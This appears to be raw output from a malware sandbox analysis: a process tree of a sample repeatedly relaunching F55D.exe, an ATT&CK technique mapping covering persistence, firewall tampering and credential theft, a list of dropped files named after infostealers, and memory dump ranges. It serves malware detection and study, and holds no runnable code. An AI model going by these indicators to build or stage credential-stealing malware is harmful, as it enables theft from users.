C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 7324 -ip 73241⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 7340 -ip 73401⤵
-
C:\Users\Admin\AppData\Roaming\whvrsiuC:\Users\Admin\AppData\Roaming\whvrsiu1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5244 -s 3482⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 5244 -ip 52441⤵
-
C:\Users\Admin\AppData\Local\b3fe6d25-16c4-4784-bfc2-c47ee043483f\F55D.exeC:\Users\Admin\AppData\Local\b3fe6d25-16c4-4784-bfc2-c47ee043483f\F55D.exe --Task1⤵
-
C:\Users\Admin\AppData\Local\b3fe6d25-16c4-4784-bfc2-c47ee043483f\F55D.exeC:\Users\Admin\AppData\Local\b3fe6d25-16c4-4784-bfc2-c47ee043483f\F55D.exe --Task2⤵
-
-
C:\Users\Admin\AppData\Roaming\whvrsiuC:\Users\Admin\AppData\Roaming\whvrsiu1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6492 -s 3122⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 6492 -ip 64921⤵
-
C:\Users\Admin\AppData\Local\b3fe6d25-16c4-4784-bfc2-c47ee043483f\F55D.exeC:\Users\Admin\AppData\Local\b3fe6d25-16c4-4784-bfc2-c47ee043483f\F55D.exe --Task1⤵
-
C:\Users\Admin\AppData\Local\b3fe6d25-16c4-4784-bfc2-c47ee043483f\F55D.exeC:\Users\Admin\AppData\Local\b3fe6d25-16c4-4784-bfc2-c47ee043483f\F55D.exe --Task2⤵
-
-
C:\Users\Admin\AppData\Local\b3fe6d25-16c4-4784-bfc2-c47ee043483f\F55D.exeC:\Users\Admin\AppData\Local\b3fe6d25-16c4-4784-bfc2-c47ee043483f\F55D.exe --Task1⤵
-
C:\Users\Admin\AppData\Local\b3fe6d25-16c4-4784-bfc2-c47ee043483f\F55D.exeC:\Users\Admin\AppData\Local\b3fe6d25-16c4-4784-bfc2-c47ee043483f\F55D.exe --Task2⤵
-
-
C:\Users\Admin\AppData\Roaming\whvrsiuC:\Users\Admin\AppData\Roaming\whvrsiu1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7756 -s 3122⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 7756 -ip 77561⤵
-
C:\Users\Admin\AppData\Local\b3fe6d25-16c4-4784-bfc2-c47ee043483f\F55D.exeC:\Users\Admin\AppData\Local\b3fe6d25-16c4-4784-bfc2-c47ee043483f\F55D.exe --Task1⤵
-
C:\Users\Admin\AppData\Local\b3fe6d25-16c4-4784-bfc2-c47ee043483f\F55D.exeC:\Users\Admin\AppData\Local\b3fe6d25-16c4-4784-bfc2-c47ee043483f\F55D.exe --Task2⤵
-
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
3Windows Service
3Scheduled Task/Job
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
3Windows Service
3Scheduled Task/Job
1Defense Evasion
File and Directory Permissions Modification
1Impair Defenses
2Disable or Modify System Firewall
1Modify Registry
1Virtualization/Sandbox Evasion
2Credential Access
Unsecured Credentials
4Credentials In Files
3Credentials in Registry
1Replay Monitor
Loading Replay Monitor...
Downloads
Are.docx
mozglue.dll
logs.dat
settings.dat
f_000012
TransportSecurity
TransportSecurity
Preferences
index.txt
index.txt
index.txt~RFe597a76.TMP
CURRENT
16.png
512.png
512.png
Local State
Local State
powershell.exe.log
settings.dat
settings.dat
f_000012
f_000014
f_000016
Preferences
Preferences
Preferences
Local State
14D22D15808B8807D02225F92A04DF10C5D3FBFB
CC3777DD5D26A70A3683927C3A11C68A2915174F
explorgu.exe
explorgu.exe
new.exe
1800.exe
kiliqiuang.exe
kiliqiuang.exe
kiliqiuang.exe
do.ps1
ladas.exe
dotu.exe
father1.exe
judi1234.exe
phonesteal.exe
daisy123.exe
redline1234min.exe
goldprimedfsdf.exe
lumma123142124.exe
lolololoMRK123.exe
alexlll.exe
InstallSetup3.exe
1124.exe
6669.exe
6669.exe
782E.exe
782E.exe
782E.exe
8DE9.exe
8DE9.exe
9DC9.exe
C505.bat
F55D.exe
F55D.exe
Protect544cd51a.dll
VCRUNTIME140.dll
_ctypes.pyd
api-ms-win-core-console-l1-1-0.dll
api-ms-win-core-datetime-l1-1-0.dll
api-ms-win-core-debug-l1-1-0.dll
api-ms-win-core-errorhandling-l1-1-0.dll
api-ms-win-core-file-l1-1-0.dll
api-ms-win-core-file-l1-2-0.dll
api-ms-win-core-file-l2-1-0.dll
api-ms-win-core-handle-l1-1-0.dll
api-ms-win-core-heap-l1-1-0.dll
api-ms-win-core-interlocked-l1-1-0.dll
api-ms-win-core-libraryloader-l1-1-0.dll
base_library.zip
libffi-8.dll
python3.dll
python311.dll
python311.dll
Conakry
Djibouti
Kigali
Lagos
Curacao
Toronto
Greenwich
London
Oslo
Skopje
PRC
Wallis
Yap
UCT
ucrtbase.dll
ucrtbase.dll
__PSScriptPolicyTest_5wmdf2rf.uc1.ps1
INetC.dll
clip64.dll
cred64.dll
qemu-ga.exe
CachedImage_1024_600_POS4.jpg
prefs-1.js
recovery.jsonlz4
recovery.jsonlz4
STAR.exe
olehpsp.exe
powershell.exe.log
StartupProfileData-Interactive
StartupProfileData-Interactive
StartupProfileData-Interactive
StartupProfileData-Interactive
csrss.exe
csrss.exe
memory/416-193-0x0000000006640000-0x000000000668C000-memory.dmp
memory/416-187-0x0000000005CB0000-0x0000000006004000-memory.dmp
memory/1060-419-0x0000000000400000-0x00000000008BB000-memory.dmp
memory/1132-80-0x0000000002B80000-0x0000000002B81000-memory.dmp
memory/1132-79-0x0000000002B70000-0x0000000002B71000-memory.dmp
memory/1132-91-0x0000000002D40000-0x0000000002D41000-memory.dmp
memory/1132-90-0x0000000002D30000-0x0000000002D31000-memory.dmp
memory/1132-89-0x0000000002D20000-0x0000000002D21000-memory.dmp
memory/1132-88-0x0000000002D10000-0x0000000002D11000-memory.dmp
memory/1132-93-0x0000000002D60000-0x0000000002D61000-memory.dmp
memory/1132-86-0x0000000002CF0000-0x0000000002CF1000-memory.dmp
memory/1132-87-0x0000000002D00000-0x0000000002D01000-memory.dmp
memory/1132-94-0x0000000000030000-0x0000000000B07000-memory.dmp
memory/1132-84-0x0000000002BC0000-0x0000000002BC1000-memory.dmp
memory/1132-83-0x0000000002BB0000-0x0000000002BB1000-memory.dmp
memory/1132-85-0x0000000002BD0000-0x0000000002BD1000-memory.dmp
memory/1132-82-0x0000000002BA0000-0x0000000002BA1000-memory.dmp
memory/1132-81-0x0000000002B90000-0x0000000002B91000-memory.dmp
memory/1132-92-0x0000000002D50000-0x0000000002D51000-memory.dmp
memory/1132-96-0x0000000002DB0000-0x0000000003350000-memory.dmp
memory/1132-65-0x0000000000030000-0x0000000000B07000-memory.dmp
memory/1132-76-0x0000000002B50000-0x0000000002B51000-memory.dmp
memory/1132-98-0x0000000000030000-0x0000000000B07000-memory.dmp
memory/1132-75-0x0000000000030000-0x0000000000B07000-memory.dmp
memory/1132-74-0x0000000002B40000-0x0000000002B41000-memory.dmp
memory/1132-73-0x0000000002B30000-0x0000000002B31000-memory.dmp
memory/1132-78-0x0000000002B60000-0x0000000002B61000-memory.dmp
memory/1464-107-0x0000000074870000-0x0000000075020000-memory.dmp
memory/1464-157-0x0000000007710000-0x0000000007721000-memory.dmp
memory/1464-111-0x0000000004FF0000-0x0000000005012000-memory.dmp
memory/1464-112-0x00000000058C0000-0x0000000005926000-memory.dmp
memory/1464-128-0x0000000007380000-0x00000000073F6000-memory.dmp
memory/1464-123-0x0000000005C20000-0x0000000005F74000-memory.dmp
memory/1464-135-0x0000000007A80000-0x00000000080FA000-memory.dmp
memory/1464-108-0x00000000049A0000-0x00000000049B0000-memory.dmp
memory/1464-127-0x00000000049A0000-0x00000000049B0000-memory.dmp
memory/1464-110-0x0000000005060000-0x0000000005688000-memory.dmp
memory/1464-109-0x00000000049A0000-0x00000000049B0000-memory.dmp
memory/1464-164-0x0000000074870000-0x0000000075020000-memory.dmp
memory/1464-161-0x00000000077A0000-0x00000000077A8000-memory.dmp
memory/1464-160-0x0000000007850000-0x000000000786A000-memory.dmp
memory/1464-159-0x0000000007760000-0x0000000007774000-memory.dmp
memory/1464-106-0x00000000049F0000-0x0000000004A26000-memory.dmp
memory/1464-158-0x0000000007750000-0x000000000775E000-memory.dmp
memory/1464-113-0x00000000059A0000-0x0000000005A06000-memory.dmp
memory/1464-156-0x00000000077B0000-0x0000000007846000-memory.dmp
memory/1464-124-0x0000000006030000-0x000000000604E000-memory.dmp
memory/1464-155-0x00000000076F0000-0x00000000076FA000-memory.dmp
memory/1464-154-0x0000000007600000-0x00000000076A3000-memory.dmp
memory/1464-140-0x00000000075C0000-0x00000000075F2000-memory.dmp
memory/1464-153-0x00000000075A0000-0x00000000075BE000-memory.dmp
memory/1464-143-0x0000000070870000-0x0000000070BC4000-memory.dmp
memory/1464-142-0x00000000706F0000-0x000000007073C000-memory.dmp
memory/1464-141-0x000000007F720000-0x000000007F730000-memory.dmp
memory/1464-126-0x00000000065E0000-0x0000000006624000-memory.dmp
memory/1464-125-0x0000000006110000-0x000000000615C000-memory.dmp
memory/1464-136-0x0000000007400000-0x000000000741A000-memory.dmp
memory/1696-22-0x0000000000400000-0x0000000000537000-memory.dmp
memory/1696-24-0x0000000000400000-0x0000000000537000-memory.dmp
memory/1696-25-0x0000000000400000-0x0000000000537000-memory.dmp
memory/1696-26-0x0000000000400000-0x0000000000537000-memory.dmp
memory/1696-36-0x0000000000400000-0x0000000000537000-memory.dmp
memory/1852-59-0x0000000000F90000-0x00000000015A2000-memory.dmp
memory/1852-60-0x0000000000D60000-0x0000000000D61000-memory.dmp
memory/1852-56-0x0000000000F90000-0x00000000015A2000-memory.dmp
memory/1852-55-0x0000000000F90000-0x00000000015A2000-memory.dmp
memory/1852-57-0x0000000000F90000-0x00000000015A2000-memory.dmp
memory/1852-58-0x0000000000F90000-0x00000000015A2000-memory.dmp
memory/1852-54-0x0000000000F90000-0x00000000015A2000-memory.dmp
memory/1852-52-0x0000000000F90000-0x00000000015A2000-memory.dmp
memory/1852-61-0x0000000000F90000-0x00000000015A2000-memory.dmp
memory/1852-53-0x0000000077804000-0x0000000077806000-memory.dmp
memory/2072-194-0x0000000000400000-0x000000000311F000-memory.dmp
memory/2072-181-0x0000000004E30000-0x0000000005236000-memory.dmp
memory/2072-255-0x0000000000400000-0x000000000311F000-memory.dmp
memory/2072-337-0x0000000000400000-0x000000000311F000-memory.dmp
memory/2152-39-0x0000000004900000-0x0000000004994000-memory.dmp
memory/2348-21-0x0000000004BE0000-0x0000000004CFB000-memory.dmp
memory/2348-20-0x0000000004B00000-0x0000000004B97000-memory.dmp
memory/2372-104-0x00000000051C0000-0x0000000005AAB000-memory.dmp
memory/2372-103-0x0000000004DB0000-0x00000000051B6000-memory.dmp
memory/2372-105-0x0000000000400000-0x000000000311F000-memory.dmp
memory/2372-173-0x00000000051C0000-0x0000000005AAB000-memory.dmp
memory/2372-172-0x0000000000400000-0x000000000311F000-memory.dmp
memory/2372-139-0x0000000004DB0000-0x00000000051B6000-memory.dmp
memory/2920-5-0x0000000000400000-0x000000000044A000-memory.dmp
memory/2920-3-0x0000000000400000-0x000000000044A000-memory.dmp
memory/2920-2-0x00000000005D0000-0x00000000005DB000-memory.dmp
memory/2920-1-0x0000000000480000-0x0000000000580000-memory.dmp
memory/3036-388-0x0000000000C60000-0x0000000000CE2000-memory.dmp
memory/3036-382-0x0000000000C60000-0x0000000000CE2000-memory.dmp
memory/3036-400-0x0000000000C60000-0x0000000000CE2000-memory.dmp
memory/3036-403-0x0000000000C60000-0x0000000000CE2000-memory.dmp
memory/3036-422-0x0000000000C60000-0x0000000000CE2000-memory.dmp
memory/3036-399-0x0000000000C60000-0x0000000000CE2000-memory.dmp
memory/3036-387-0x0000000000C60000-0x0000000000CE2000-memory.dmp
memory/3036-383-0x0000000000C60000-0x0000000000CE2000-memory.dmp
memory/3180-134-0x0000000000D10000-0x0000000001390000-memory.dmp
memory/3180-137-0x0000000005C90000-0x0000000005D2C000-memory.dmp
memory/3180-133-0x0000000074870000-0x0000000075020000-memory.dmp
memory/3180-138-0x0000000005BE0000-0x0000000005BF0000-memory.dmp
memory/3536-4-0x0000000002FF0000-0x0000000003006000-memory.dmp
memory/3768-42-0x0000000000400000-0x0000000000537000-memory.dmp
memory/3768-43-0x0000000000400000-0x0000000000537000-memory.dmp
memory/3768-45-0x0000000000400000-0x0000000000537000-memory.dmp
memory/4684-180-0x00000000051F0000-0x00000000051F1000-memory.dmp
memory/4684-178-0x0000000005240000-0x0000000005241000-memory.dmp
memory/4684-179-0x00000000051E0000-0x00000000051E1000-memory.dmp
memory/4684-177-0x0000000005200000-0x0000000005201000-memory.dmp
memory/4684-203-0x0000000000880000-0x0000000000D3B000-memory.dmp
memory/4684-175-0x0000000005210000-0x0000000005211000-memory.dmp
memory/4684-171-0x0000000000880000-0x0000000000D3B000-memory.dmp
memory/4684-176-0x0000000005220000-0x0000000005221000-memory.dmp
memory/4684-174-0x0000000000880000-0x0000000000D3B000-memory.dmp